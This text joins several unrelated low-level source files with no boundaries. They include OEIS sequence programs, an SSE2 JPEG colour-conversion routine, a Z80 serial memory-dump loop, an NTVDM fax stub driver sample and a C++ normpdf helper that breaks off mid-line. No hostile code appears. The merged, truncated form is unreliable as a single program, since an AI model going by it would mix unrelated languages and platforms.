; A273893: Denominator of n/3^n. ; 1,3,9,9,81,243,243,2187,6561,2187,59049,177147,177147,1594323,4782969,4782969,43046721,129140163,43046721,1162261467,3486784401,3486784401,31381059609,94143178827,94143178827,847288609443,2541865828329,282429536481,22876792454961 mov $1,3 pow $1,$0 gcd $0,$1 div $1,$0 mov $0,$1
; ; jdcolext.asm - colorspace conversion (64-bit SSE2) ; ; Copyright 2009, 2012 Pierre Ossman <ossman@cendio.se> for Cendio AB ; Copyright (C) 2009, 2012, D. R. Commander. ; ; Based on the x86 SIMD extension for IJG JPEG library ; Copyright (C) 1999-2006, MIYASAKA Masaru. ; For conditions of distribution and use, see copyright notice in jsimdext.inc ; ; This file should be assembled with NASM (Netwide Assembler), ; can *not* be assembled with Microsoft's MASM or any compatible ; assembler (including Borland's Turbo Assembler). ; NASM is available from http://nasm.sourceforge.net/ or ; http://sourceforge.net/project/showfiles.php?group_id=6208 ; ; [TAB8] %include "jcolsamp.inc" ; -------------------------------------------------------------------------- ; ; Convert some rows of samples to the output colorspace. ; ; GLOBAL(void) ; jsimd_ycc_rgb_convert_sse2 (JDIMENSION out_width, ; JSAMPIMAGE input_buf, JDIMENSION input_row, ; JSAMPARRAY output_buf, int num_rows) ; ; r10 = JDIMENSION out_width ; r11 = JSAMPIMAGE input_buf ; r12 = JDIMENSION input_row ; r13 = JSAMPARRAY output_buf ; r14 = int num_rows %define wk(i) rbp-(WK_NUM-(i))*SIZEOF_XMMWORD ; xmmword wk[WK_NUM] %define WK_NUM 2 align 16 global EXTN(jsimd_ycc_rgb_convert_sse2) EXTN(jsimd_ycc_rgb_convert_sse2): push rbp mov rax,rsp ; rax = original rbp sub rsp, byte 4 and rsp, byte (-SIZEOF_XMMWORD) ; align to 128 bits mov [rsp],rax mov rbp,rsp ; rbp = aligned rbp lea rsp, [wk(0)] collect_args push rbx mov ecx, r10d ; num_cols test rcx,rcx jz near .return push rcx mov rdi, r11 mov ecx, r12d mov rsi, JSAMPARRAY [rdi+0*SIZEOF_JSAMPARRAY] mov rbx, JSAMPARRAY [rdi+1*SIZEOF_JSAMPARRAY] mov rdx, JSAMPARRAY [rdi+2*SIZEOF_JSAMPARRAY] lea rsi, [rsi+rcx*SIZEOF_JSAMPROW] lea rbx, [rbx+rcx*SIZEOF_JSAMPROW] lea rdx, [rdx+rcx*SIZEOF_JSAMPROW] pop rcx mov rdi, r13 mov eax, r14d test rax,rax jle near .return .rowloop: push rax push rdi push rdx push rbx push rsi push rcx ; col mov rsi, JSAMPROW [rsi] ; inptr0 mov rbx, JSAMPROW [rbx] ; inptr1 mov rdx, JSAMPROW [rdx] ; inptr2 mov rdi, JSAMPROW [rdi] ; outptr .columnloop: movdqa xmm5, XMMWORD [rbx] ; xmm5=Cb(0123456789ABCDEF) movdqa xmm1, XMMWORD [rdx] ; xmm1=Cr(0123456789ABCDEF) pcmpeqw xmm4,xmm4 pcmpeqw xmm7,xmm7 psrlw xmm4,BYTE_BIT psllw xmm7,7 ; xmm7={0xFF80 0xFF80 0xFF80 0xFF80 ..} movdqa xmm0,xmm4 ; xmm0=xmm4={0xFF 0x00 0xFF 0x00 ..} pand xmm4,xmm5 ; xmm4=Cb(02468ACE)=CbE psrlw xmm5,BYTE_BIT ; xmm5=Cb(13579BDF)=CbO pand xmm0,xmm1 ; xmm0=Cr(02468ACE)=CrE psrlw xmm1,BYTE_BIT ; xmm1=Cr(13579BDF)=CrO paddw xmm4,xmm7 paddw xmm5,xmm7 paddw xmm0,xmm7 paddw xmm1,xmm7 ; (Original) ; R = Y + 1.40200 * Cr ; G = Y - 0.34414 * Cb - 0.71414 * Cr ; B = Y + 1.77200 * Cb ; ; (This implementation) ; R = Y + 0.40200 * Cr + Cr ; G = Y - 0.34414 * Cb + 0.28586 * Cr - Cr ; B = Y - 0.22800 * Cb + Cb + Cb movdqa xmm2,xmm4 ; xmm2=CbE movdqa xmm3,xmm5 ; xmm3=CbO paddw xmm4,xmm4 ; xmm4=2*CbE paddw xmm5,xmm5 ; xmm5=2*CbO movdqa xmm6,xmm0 ; xmm6=CrE movdqa xmm7,xmm1 ; xmm7=CrO paddw xmm0,xmm0 ; xmm0=2*CrE paddw xmm1,xmm1 ; xmm1=2*CrO pmulhw xmm4,[rel PW_MF0228] ; xmm4=(2*CbE * -FIX(0.22800)) pmulhw xmm5,[rel PW_MF0228] ; xmm5=(2*CbO * -FIX(0.22800)) pmulhw xmm0,[rel PW_F0402] ; xmm0=(2*CrE * FIX(0.40200)) pmulhw xmm1,[rel PW_F0402] ; xmm1=(2*CrO * FIX(0.40200)) paddw xmm4,[rel PW_ONE] paddw xmm5,[rel PW_ONE] psraw xmm4,1 ; xmm4=(CbE * -FIX(0.22800)) psraw xmm5,1 ; xmm5=(CbO * -FIX(0.22800)) paddw xmm0,[rel PW_ONE] paddw xmm1,[rel PW_ONE] psraw xmm0,1 ; xmm0=(CrE * FIX(0.40200)) psraw xmm1,1 ; xmm1=(CrO * FIX(0.40200)) paddw xmm4,xmm2 paddw xmm5,xmm3 paddw xmm4,xmm2 ; xmm4=(CbE * FIX(1.77200))=(B-Y)E paddw xmm5,xmm3 ; xmm5=(CbO * FIX(1.77200))=(B-Y)O paddw xmm0,xmm6 ; xmm0=(CrE * FIX(1.40200))=(R-Y)E paddw xmm1,xmm7 ; xmm1=(CrO * FIX(1.40200))=(R-Y)O movdqa XMMWORD [wk(0)], xmm4 ; wk(0)=(B-Y)E movdqa XMMWORD [wk(1)], xmm5 ; wk(1)=(B-Y)O movdqa xmm4,xmm2 movdqa xmm5,xmm3 punpcklwd xmm2,xmm6 punpckhwd xmm4,xmm6 pmaddwd xmm2,[rel PW_MF0344_F0285] pmaddwd xmm4,[rel PW_MF0344_F0285] punpcklwd xmm3,xmm7 punpckhwd xmm5,xmm7 pmaddwd xmm3,[rel PW_MF0344_F0285] pmaddwd xmm5,[rel PW_MF0344_F0285] paddd xmm2,[rel PD_ONEHALF] paddd xmm4,[rel PD_ONEHALF] psrad xmm2,SCALEBITS psrad xmm4,SCALEBITS paddd xmm3,[rel PD_ONEHALF] paddd xmm5,[rel PD_ONEHALF] psrad xmm3,SCALEBITS psrad xmm5,SCALEBITS packssdw xmm2,xmm4 ; xmm2=CbE*-FIX(0.344)+CrE*FIX(0.285) packssdw xmm3,xmm5 ; xmm3=CbO*-FIX(0.344)+CrO*FIX(0.285) psubw xmm2,xmm6 ; xmm2=CbE*-FIX(0.344)+CrE*-FIX(0.714)=(G-Y)E psubw xmm3,xmm7 ; xmm3=CbO*-FIX(0.344)+CrO*-FIX(0.714)=(G-Y)O movdqa xmm5, XMMWORD [rsi] ; xmm5=Y(0123456789ABCDEF) pcmpeqw xmm4,xmm4 psrlw xmm4,BYTE_BIT ; xmm4={0xFF 0x00 0xFF 0x00 ..} pand xmm4,xmm5 ; xmm4=Y(02468ACE)=YE psrlw xmm5,BYTE_BIT ; xmm5=Y(13579BDF)=YO paddw xmm0,xmm4 ; xmm0=((R-Y)E+YE)=RE=R(02468ACE) paddw xmm1,xmm5 ; xmm1=((R-Y)O+YO)=RO=R(13579BDF) packuswb xmm0,xmm0 ; xmm0=R(02468ACE********) packuswb xmm1,xmm1 ; xmm1=R(13579BDF********) paddw xmm2,xmm4 ; xmm2=((G-Y)E+YE)=GE=G(02468ACE) paddw xmm3,xmm5 ; xmm3=((G-Y)O+YO)=GO=G(13579BDF) packuswb xmm2,xmm2 ; xmm2=G(02468ACE********) packuswb xmm3,xmm3 ; xmm3=G(13579BDF********) paddw xmm4, XMMWORD [wk(0)] ; xmm4=(YE+(B-Y)E)=BE=B(02468ACE) paddw xmm5, XMMWORD [wk(1)] ; xmm5=(YO+(B-Y)O)=BO=B(13579BDF) packuswb xmm4,xmm4 ; xmm4=B(02468ACE********) packuswb xmm5,xmm5 ; xmm5=B(13579BDF********) %if RGB_PIXELSIZE == 3 ; --------------- ; xmmA=(00 02 04 06 08 0A 0C 0E **), xmmB=(01 03 05 07 09 0B 0D 0F **) ; xmmC=(10 12 14 16 18 1A 1C 1E **), xmmD=(11 13 15 17 19 1B 1D 1F **) ; xmmE=(20 22 24 26 28 2A 2C 2E **), xmmF=(21 23 25 27 29 2B 2D 2F **) ; xmmG=(** ** ** ** ** ** ** ** **), xmmH=(** ** ** ** ** ** ** ** **) punpcklbw xmmA,xmmC ; xmmA=(00 10 02 12 04 14 06 16 08 18 0A 1A 0C 1C 0E 1E) punpcklbw xmmE,xmmB ; xmmE=(20 01 22 03 24 05 26 07 28 09 2A 0B 2C 0D 2E 0F) punpcklbw xmmD,xmmF ; xmmD=(11 21 13 23 15 25 17 27 19 29 1B 2B 1D 2D 1F 2F) movdqa xmmG,xmmA movdqa xmmH,xmmA punpcklwd xmmA,xmmE ; xmmA=(00 10 20 01 02 12 22 03 04 14 24 05 06 16 26 07) punpckhwd xmmG,xmmE ; xmmG=(08 18 28 09 0A 1A 2A 0B 0C 1C 2C 0D 0E 1E 2E 0F) psrldq xmmH,2 ; xmmH=(02 12 04 14 06 16 08 18 0A 1A 0C 1C 0E 1E -- --) psrldq xmmE,2 ; xmmE=(22 03 24 05 26 07 28 09 2A 0B 2C 0D 2E 0F -- --) movdqa xmmC,xmmD movdqa xmmB,xmmD punpcklwd xmmD,xmmH ; xmmD=(11 21 02 12 13 23 04 14 15 25 06 16 17 27 08 18) punpckhwd xmmC,xmmH ; xmmC=(19 29 0A 1A 1B 2B 0C 1C 1D 2D 0E 1E 1F 2F -- --) psrldq xmmB,2 ; xmmB=(13 23 15 25 17 27 19 29 1B 2B 1D 2D 1F 2F -- --) movdqa xmmF,xmmE punpcklwd xmmE,xmmB ; xmmE=(22 03 13 23 24 05 15 25 26 07 17 27 28 09 19 29) punpckhwd xmmF,xmmB ; xmmF=(2A 0B 1B 2B 2C 0D 1D 2D 2E 0F 1F 2F -- -- -- --) pshufd xmmH,xmmA,0x4E; xmmH=(04 14 24 05 06 16 26 07 00 10 20 01 02 12 22 03) movdqa xmmB,xmmE punpckldq xmmA,xmmD ; xmmA=(00 10 20 01 11 21 02 12 02 12 22 03 13 23 04 14) punpckldq xmmE,xmmH ; xmmE=(22 03 13 23 04 14 24 05 24 05 15 25 06 16 26 07) punpckhdq xmmD,xmmB ; xmmD=(15 25 06 16 26 07 17 27 17 27 08 18 28 09 19 29) pshufd xmmH,xmmG,0x4E; xmmH=(0C 1C 2C 0D 0E 1E 2E 0F 08 18 28 09 0A 1A 2A 0B) movdqa xmmB,xmmF punpckldq xmmG,xmmC ; xmmG=(08 18 28 09 19 29 0A 1A 0A 1A 2A 0B 1B 2B 0C 1C) punpckldq xmmF,xmmH ; xmmF=(2A 0B 1B 2B 0C 1C 2C 0D 2C 0D 1D 2D 0E 1E 2E 0F) punpckhdq xmmC,xmmB ; xmmC=(1D 2D 0E 1E 2E 0F 1F 2F 1F 2F -- -- -- -- -- --) punpcklqdq xmmA,xmmE ; xmmA=(00 10 20 01 11 21 02 12 22 03 13 23 04 14 24 05) punpcklqdq xmmD,xmmG ; xmmD=(15 25 06 16 26 07 17 27 08 18 28 09 19 29 0A 1A) punpcklqdq xmmF,xmmC ; xmmF=(2A 0B 1B 2B 0C 1C 2C 0D 1D 2D 0E 1E 2E 0F 1F 2F) cmp rcx, byte SIZEOF_XMMWORD jb short .column_st32 test rdi, SIZEOF_XMMWORD-1 jnz short .out1 ; --(aligned)------------------- movntdq XMMWORD [rdi+0*SIZEOF_XMMWORD], xmmA movntdq XMMWORD [rdi+1*SIZEOF_XMMWORD], xmmD movntdq XMMWORD [rdi+2*SIZEOF_XMMWORD], xmmF jmp short .out0 .out1: ; --(unaligned)----------------- movdqu XMMWORD [rdi+0*SIZEOF_XMMWORD], xmmA movdqu XMMWORD [rdi+1*SIZEOF_XMMWORD], xmmD movdqu XMMWORD [rdi+2*SIZEOF_XMMWORD], xmmF .out0: add rdi, byte RGB_PIXELSIZE*SIZEOF_XMMWORD ; outptr sub rcx, byte SIZEOF_XMMWORD jz near .nextrow add rsi, byte SIZEOF_XMMWORD ; inptr0 add rbx, byte SIZEOF_XMMWORD ; inptr1 add rdx, byte SIZEOF_XMMWORD ; inptr2 jmp near .columnloop .column_st32: lea rcx, [rcx+rcx*2] ; imul ecx, RGB_PIXELSIZE cmp rcx, byte 2*SIZEOF_XMMWORD jb short .column_st16 movdqu XMMWORD [rdi+0*SIZEOF_XMMWORD], xmmA movdqu XMMWORD [rdi+1*SIZEOF_XMMWORD], xmmD add rdi, byte 2*SIZEOF_XMMWORD ; outptr movdqa xmmA,xmmF sub rcx, byte 2*SIZEOF_XMMWORD jmp short .column_st15 .column_st16: cmp rcx, byte SIZEOF_XMMWORD jb short .column_st15 movdqu XMMWORD [rdi+0*SIZEOF_XMMWORD], xmmA add rdi, byte SIZEOF_XMMWORD ; outptr movdqa xmmA,xmmD sub rcx, byte SIZEOF_XMMWORD .column_st15: ; Store the lower 8 bytes of xmmA to the output when it has enough ; space. cmp rcx, byte SIZEOF_MMWORD jb short .column_st7 movq XMM_MMWORD [rdi], xmmA add rdi, byte SIZEOF_MMWORD sub rcx, byte SIZEOF_MMWORD psrldq xmmA, SIZEOF_MMWORD .column_st7: ; Store the lower 4 bytes of xmmA to the output when it has enough ; space. cmp rcx, byte SIZEOF_DWORD jb short .column_st3 movd XMM_DWORD [rdi], xmmA add rdi, byte SIZEOF_DWORD sub rcx, byte SIZEOF_DWORD psrldq xmmA, SIZEOF_DWORD .column_st3: ; Store the lower 2 bytes of rax to the output when it has enough ; space. movd eax, xmmA cmp rcx, byte SIZEOF_WORD jb short .column_st1 mov WORD [rdi], ax add rdi, byte SIZEOF_WORD sub rcx, byte SIZEOF_WORD shr rax, 16 .column_st1: ; Store the lower 1 byte of rax to the output when it has enough ; space. test rcx, rcx jz short .nextrow mov BYTE [rdi], al %else ; RGB_PIXELSIZE == 4 ; ----------- %ifdef RGBX_FILLER_0XFF pcmpeqb xmm6,xmm6 ; xmm6=XE=X(02468ACE********) pcmpeqb xmm7,xmm7 ; xmm7=XO=X(13579BDF********) %else pxor xmm6,xmm6 ; xmm6=XE=X(02468ACE********) pxor xmm7,xmm7 ; xmm7=XO=X(13579BDF********) %endif ; xmmA=(00 02 04 06 08 0A 0C 0E **), xmmB=(01 03 05 07 09 0B 0D 0F **) ; xmmC=(10 12 14 16 18 1A 1C 1E **), xmmD=(11 13 15 17 19 1B 1D 1F **) ; xmmE=(20 22 24 26 28 2A 2C 2E **), xmmF=(21 23 25 27 29 2B 2D 2F **) ; xmmG=(30 32 34 36 38 3A 3C 3E **), xmmH=(31 33 35 37 39 3B 3D 3F **) punpcklbw xmmA,xmmC ; xmmA=(00 10 02 12 04 14 06 16 08 18 0A 1A 0C 1C 0E 1E) punpcklbw xmmE,xmmG ; xmmE=(20 30 22 32 24 34 26 36 28 38 2A 3A 2C 3C 2E 3E) punpcklbw xmmB,xmmD ; xmmB=(01 11 03 13 05 15 07 17 09 19 0B 1B 0D 1D 0F 1F) punpcklbw xmmF,xmmH ; xmmF=(21 31 23 33 25 35 27 37 29 39 2B 3B 2D 3D 2F 3F) movdqa xmmC,xmmA punpcklwd xmmA,xmmE ; xmmA=(00 10 20 30 02 12 22 32 04 14 24 34 06 16 26 36) punpckhwd xmmC,xmmE ; xmmC=(08 18 28 38 0A 1A 2A 3A 0C 1C 2C 3C 0E 1E 2E 3E) movdqa xmmG,xmmB punpcklwd xmmB,xmmF ; xmmB=(01 11 21 31 03 13 23 33 05 15 25 35 07 17 27 37) punpckhwd xmmG,xmmF ; xmmG=(09 19 29 39 0B 1B 2B 3B 0D 1D 2D 3D 0F 1F 2F 3F) movdqa xmmD,xmmA punpckldq xmmA,xmmB ; xmmA=(00 10 20 30 01 11 21 31 02 12 22 32 03 13 23 33) punpckhdq xmmD,xmmB ; xmmD=(04 14 24 34 05 15 25 35 06 16 26 36 07 17 27 37) movdqa xmmH,xmmC punpckldq xmmC,xmmG ; xmmC=(08 18 28 38 09 19 29 39 0A 1A 2A 3A 0B 1B 2B 3B) punpckhdq xmmH,xmmG ; xmmH=(0C 1C 2C 3C 0D 1D 2D 3D 0E 1E 2E 3E 0F 1F 2F 3F) cmp rcx, byte SIZEOF_XMMWORD jb short .column_st32 test rdi, SIZEOF_XMMWORD-1 jnz short .out1 ; --(aligned)------------------- movntdq XMMWORD [rdi+0*SIZEOF_XMMWORD], xmmA movntdq XMMWORD [rdi+1*SIZEOF_XMMWORD], xmmD movntdq XMMWORD [rdi+2*SIZEOF_XMMWORD], xmmC movntdq XMMWORD [rdi+3*SIZEOF_XMMWORD], xmmH jmp short .out0 .out1: ; --(unaligned)----------------- movdqu XMMWORD [rdi+0*SIZEOF_XMMWORD], xmmA movdqu XMMWORD [rdi+1*SIZEOF_XMMWORD], xmmD movdqu XMMWORD [rdi+2*SIZEOF_XMMWORD], xmmC movdqu XMMWORD [rdi+3*SIZEOF_XMMWORD], xmmH .out0: add rdi, byte RGB_PIXELSIZE*SIZEOF_XMMWORD ; outptr sub rcx, byte SIZEOF_XMMWORD jz near .nextrow add rsi, byte SIZEOF_XMMWORD ; inptr0 add rbx, byte SIZEOF_XMMWORD ; inptr1 add rdx, byte SIZEOF_XMMWORD ; inptr2 jmp near .columnloop .column_st32: cmp rcx, byte SIZEOF_XMMWORD/2 jb short .column_st16 movdqu XMMWORD [rdi+0*SIZEOF_XMMWORD], xmmA movdqu XMMWORD [rdi+1*SIZEOF_XMMWORD], xmmD add rdi, byte 2*SIZEOF_XMMWORD ; outptr movdqa xmmA,xmmC movdqa xmmD,xmmH sub rcx, byte SIZEOF_XMMWORD/2 .column_st16: cmp rcx, byte SIZEOF_XMMWORD/4 jb short .column_st15 movdqu XMMWORD [rdi+0*SIZEOF_XMMWORD], xmmA add rdi, byte SIZEOF_XMMWORD ; outptr movdqa xmmA,xmmD sub rcx, byte SIZEOF_XMMWORD/4 .column_st15: ; Store two pixels (8 bytes) of xmmA to the output when it has enough ; space. cmp rcx, byte SIZEOF_XMMWORD/8 jb short .column_st7 movq MMWORD [rdi], xmmA add rdi, byte SIZEOF_XMMWORD/8*4 sub rcx, byte SIZEOF_XMMWORD/8 psrldq xmmA, SIZEOF_XMMWORD/8*4 .column_st7: ; Store one pixel (4 bytes) of xmmA to the output when it has enough ; space. test rcx, rcx jz short .nextrow movd XMM_DWORD [rdi], xmmA %endif ; RGB_PIXELSIZE ; --------------- .nextrow: pop rcx pop rsi pop rbx pop rdx pop rdi pop rax add rsi, byte SIZEOF_JSAMPROW add rbx, byte SIZEOF_JSAMPROW add rdx, byte SIZEOF_JSAMPROW add rdi, byte SIZEOF_JSAMPROW ; output_buf dec rax ; num_rows jg near .rowloop sfence ; flush the write buffer .return: pop rbx uncollect_args mov rsp,rbp ; rsp <- aligned rbp pop rsp ; rsp <- original rbp pop rbp ret ; For some reason, the OS X linker does not honor the request to align the ; segment unless we do this. align 16
TXBITDELAY equ 6 ; don't ask :P org 100h ; init pio ld hl,piosetup ld bc,0503h otir ld hl,0E000h ld bc,1000h dumplp: ld a,(hl) ; xmit byte push bc push hl ld l, 0 ; start bit is b0 here ld b, 8 ; data bits xb_lp1: rra adc hl, hl djnz xb_lp1 ; l[7->0] = a[0->7] scf ; stop bit adc hl, hl ld b, 4 ; push the bits left to line up with port B data reg xb_lp2: add hl, hl inc l djnz xb_lp2 in a, (2) and 5Eh ; mask in ; speaker, rxd, cts, clk, ; tape out ld d, a di ld b, 10 jr xb_jp3 xb_sendlp: call dotxbitdelay xb_jp3: ld a, h add hl, hl and 20h or d out (2), a djnz xb_sendlp ei call dotxbitdelay ; for stop bit pop hl pop bc ; end xmit byte inc hl dec bc ld a,b or c jp nz, dumplp ; deinit pio ld a,07h ; disable pio interrupts out (03h),a ret piosetup: db 00h ; interrupt vector db 0FFh ; set mode = bit control db 99h ; i/o direction ; b6 = output, speaker ; b5 = output, txd ; b4 = input, rxd ; b3 = input, cts ; b2 = output, clk ; b1 = output, tape out ; b0 = input, tape in db 0B7h ; set interrupt control ; interrupt on any bit high ; mask follows db 0FFh ; 1111 1111 ; monitor nothing dotxbitdelay: push bc ld b,TXBITDELAY dbd_lp: djnz dbd_lp pop bc ret
; A242388: Triangle read by rows: T(n,k) = n*2^(k-1) + 1, 1 <= k <= n. ; 2,3,5,4,7,13,5,9,17,33,6,11,21,41,81,7,13,25,49,97,193,8,15,29,57,113,225,449,9,17,33,65,129,257,513,1025,10,19,37,73,145,289,577,1153,2305,11,21,41,81,161,321,641,1281,2561,5121 mov $1,1 lpb $0 sub $0,$1 add $1,1 lpe lpb $0 sub $0,1 mul $1,2 lpe add $1,1 mov $0,$1
name faxdrv title 'FAX16 - Stub driver for Application based intercept under NT' ; ; fax16.asm: This is a very simple DOS stub device driver for NTVDM. ; It shows how to use application based intercept services ; provided by NTVDM. FAX32.dll is its DLL which will be loaded ; in the NTVDM process by this stub device driver. ; ; This driver only has meaningful code for init,read and write. ; Rest all command codes always succeed. We are assuming here ; that the 16 bit fax application for this stub device driver ; opens this device and just make read and write calls. The ; meaning of read is to get a fax message and write means ; send a message _TEXT segment byte public 'CODE' assume cs:_TEXT,ds:_TEXT,es:NOTHING org 0 include isvbop.inc MaxCmd equ 24 ; Maximum allowed command ; VDD Command codes OpGet equ 1 ; Read a FAX OpSend equ 2 ; Send a FAX Header: ; Fax Device Header DD -1 DW 0c840h DW FaxStrat DW FaxIntr DB 'FAXDRV00' RHPtr DD ? ; Pointer to Request Header Dispatch: ; Interrupt routine command code DW Init DW MediaChk DW BuildBPB DW IoctlRd DW Read DW NdRead DW InpStat DW InpFlush DW Write DW WriteVfy DW OutStat DW OutFlush DW IoctlWt DW DevOpen DW DevClose DW RemMedia DW OutBusy DW Error DW Error DW GenIOCTL DW Error DW Error DW Error DW GetLogDev DW SetLogDev DllName DB "FAX32.DLL",0 InitFunc DB "FAXVDDRegisterInit",0 DispFunc DB "FAXVDDDispatch",0 F32Mes DB "We are called from 32 staff", 10, 13, "$" hVDD DW ? FaxStrat proc far ; Strategy Routine mov word ptr cs:[RhPtr],bx mov word ptr cs:[RhPtr+2],es ret FaxStrat endp FaxIntr proc far ; INterrupt routine push ax ; Save registers push bx push cx push dx push ds push es push di push si push bp push cs pop ds ; DS = CS les di,[RHPtr] ; ES:DI = request header mov bl,es:[di+2] xor bh,bh ; BX = command code cmp bx,MaxCmd jle FIntr1 call Error ; Unknown command jmp FIntr2 FIntr1: shl bx,1 call word ptr [bx+Dispatch] ; call command routine les di,[RhPtr] ; ES:DI = request header FIntr2: or ax,0100h ; Set Done bit in the status mov es:[di+3],ax ; Store the status pop bp ; restore registers pop si pop di pop es pop ds pop dx pop cx pop bx pop ax ret MediaChk proc near xor ax,ax ret MediaChk endp BuildBPB proc near xor ax,ax ret BuildBPB endp IoctlRd proc near xor ax,ax ret IoctlRd endp Read proc near push es push di ; Save Request Header add mov bx,word ptr es:[di+14] ; buffer offset mov ax,word ptr es:[di+16] ; buffer segment mov cx,word ptr es:[di+18] ; buffer length mov es,ax ; es:bx is the buffer where ; fax has to be read from ; the NT device driver mov ax,word ptr cs:[hVDD] ; VDD handle returned by ; register module mov dx,OpGet ; Read the fax command DispatchCall pop di pop es jnc rOK ; NC -> Success and CX has ; the count read. call Error ; Operation Failed ret rOK: mov word ptr es:[di+12],cx ; return in header how much ; was read xor ax,ax ret Read endp NdRead proc near xor ax,ax ret NdRead endp InpStat proc near xor ax,ax ret InpStat endp InpFlush proc near xor ax,ax ret InpFlush endp Write proc near push es push di ; Save Request Header add mov bx,word ptr es:[di+14] ; buffer offset mov ax,word ptr es:[di+16] ; buffer segment mov cx,word ptr es:[di+18] ; buffer length mov es,ax ; es:bx is the FAX message where ; to be send by NT device ; driver mov ax,word ptr cs:[hVDD] ; VDD handle returned by ; register module mov dx,OpSend ; Send the fax command DispatchCall pop di pop es jnc wOK ; NC -> Success and CX has ; the count read. call Error ; Operation Failed ret wOK: mov word ptr es:[di+12],cx ; return in header how much ; was actually written xor ax,ax ret Write endp WriteVfy proc near xor ax,ax ret WriteVfy endp OutStat proc near xor ax,ax ret OutStat endp OutFlush proc near xor ax,ax ret OutFlush endp IoctlWt proc near xor ax,ax ret IoctlWt endp DevOpen proc near xor ax,ax ret DevOpen endp DevClose proc near xor ax,ax ret DevClose endp RemMedia proc near xor ax,ax ret RemMedia endp OutBusy proc near xor ax,ax ret OutBusy endp GenIOCTL proc near xor ax,ax ret GenIOCTL endp GetLogDev proc near xor ax,ax ret GetLogDev endp SetLogDev proc near xor ax,ax ret SetLogDev endp Error proc near mov ax,8003h ; Bad Command Code ret Error endp ; ; ; This function is a sample sub that calling from 32-bits part of VDD ; From32Sub proc near push cs pop ds mov dx, offset F32mes mov ah, 09h int 21h VDDUnSimulate16 ret From32Sub endp Init proc near push es push di ; Save Request Header add push ds pop es ; Load fax32.dll mov si, offset DllName ; ds:si = fax32.dll mov di, offset InitFunc ; es:di = init routine mov bx, offset DispFunc ; ds:bx = dispatch routine mov ax, offset From32Sub ; ds:ax = From32Sub RegisterModule jnc saveHVDD ; NC -> Success call Error ; Indicate failure pop di pop es mov byte ptr es:[di+13],0 ; unit supported 0 mov word ptr es:[di+14],offset Header ; Unload this device mov word ptr es:[di+16],cs mov si, offset Header and [si+4],8FFFh ; clear bit 15 for failure ret saveHVDD: mov [hVDD],ax pop di pop es mov word ptr es:[di+14],offset Init ; Free Memory address mov word ptr es:[di+16],cs xor ax,ax ; return success ret Init endp FaxIntr endp _TEXT ends end
; A000337: a(n) = (n-1)*2^n + 1. ; 0,1,5,17,49,129,321,769,1793,4097,9217,20481,45057,98305,212993,458753,983041,2097153,4456449,9437185,19922945,41943041,88080385,184549377,385875969,805306369,1677721601,3489660929,7247757313,15032385537,31138512897,64424509441,133143986177,274877906945,566935683073,1168231104513,2405181685761,4947802324993,10170482556929,20890720927745,42880953483265,87960930222081,180319906955265,369435906932737,756463999909889,1548112371908609,3166593487994881,6473924464345089 mov $1,$0 sub $1,1 mov $2,2 pow $2,$0 mul $1,$2 add $1,1
[SECTION .data] ;;; Here we declare initialized data. For example: messages, prompts, ;;; and numbers that we know in advance [SECTION .bss] ;;; Here we declare uninitialized data. We're reserving space (and ;;; potentially associating names with that space) that our code ;;; will use as it executes. Think of these as "global variables" [SECTION .text] global sumsqrs ;;; computes sum(x^2, 0, n) sumsqrs: ;; protect callers ebp so we can use it push ebp ;; remember the "initial" position of the stack. we'll use this ;; as a reference point for finding our local variables mov ebp, esp ;; reserve space for our 32 bit counter and our sum sub esp, 8 ;; initialize the count and sum mov eax, [ebp + 8] ; the requested N mov [ebp - 4], eax ; set count to start there mov [ebp - 8], dword 0 ; the initial sum .loop: cmp [ebp - 4], dword 0 ; terminate when counter is zero je .end mov eax, [ebp - 4] ; next x imul eax ; squared add [ebp - 8], eax ; added to result dec dword [ebp - 4] ; decrement count jmp .loop .end: mov eax, [ebp - 8] ; result goes into eax mov esp, ebp ; restore the callers stack pointer pop ebp ; and base pointer ret ; then return
; A140430: Period 6: repeat [3, 2, 4, 1, 2, 0]. ; 3,2,4,1,2,0,3,2,4,1,2,0,3,2,4,1,2,0,3,2,4,1,2,0,3,2,4,1,2,0,3,2,4,1,2,0,3,2,4,1,2,0,3,2,4,1,2,0,3,2,4,1,2,0,3,2,4,1,2,0,3,2,4,1,2,0,3,2,4,1,2,0,3,2,4,1,2,0,3,2,4,1,2,0,3,2 mul $0,5 mov $1,-2 bin $1,$0 mod $1,3 add $1,2 mov $0,$1
// Copyright 2008-2016 Conrad Sanderson (http://conradsanderson.id.au) // Copyright 2008-2016 National ICT Australia (NICTA) // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // ------------------------------------------------------------------------ //! \addtogroup fn_normpdf //! @{ template<typename T1, typename T2, typename T3> inline typename enable_if2< (is_real<typename T1::elem_type>::value), void >::result normpdf_helper(Mat<typename T1::elem_type>& out, const Base<typename T1::elem_type, T1>& X_expr, const Base<typename T1::elem_type, T2>& M_expr, const Base<typename T1::elem_type, T3>& S_expr) { arma_extra_debug_sigprint(); typedef typename T1::elem_type eT; if(Proxy<T1>::use_at || Proxy<T2>::use_at || Proxy<T3>::use_at) { const quasi_unwrap<T1> UX(X_expr.get_ref()); const quasi_unwrap<T2> UM(M_expr.get_ref()); const quasi_unwrap<T3> US(S_expr.get_ref()); normpdf_helper(out, UX.M, UM.M, US.M); return; } const Proxy<T1> PX(X_expr.get_ref()); const Proxy<T2> PM(M_expr.get_ref()); const Proxy<T3> PS(S_expr.get_ref()); arma_debug_check( ( (PX.get_n_rows() != PM.get_n_rows()) || (PX.get_n_cols() != PM.get_n_cols()) || (PM.get_n_rows() != PS.get_n_rows()) || (PM.get_n_cols() != PS.get_n_cols()) ), "normpdf(): size mismatch" ); out.set_size(PX.get_n_rows(), PX.get_n_cols()); eT* out_mem = out.memptr(); const uword N = PX.get_n_elem(); typename Proxy<T1>::ea_type X_ea = PX.get_ea(); typename Proxy<T2>::ea_type M_ea = PM.get_ea(); typename Proxy<T3>::ea_type S_ea = PS.get_ea(); const bool use_mp = arma_config::openmp && mp_gate<eT,true>::eval(N); if(use_mp) { #if defined(ARMA_USE_OPENMP) { const int n_threads = mp_thread_limit::get(); #pragma omp parallel for schedule(static) num_threads(n_threads) for(uword i=0; i<N; ++i) { const eT sigma = S_ea[i]; const eT tmp = (X_ea[i] - M_ea[i]) / sigma; out_mem[i] = std::exp(eT(-0.5) * (tmp*tmp)) / (sigma 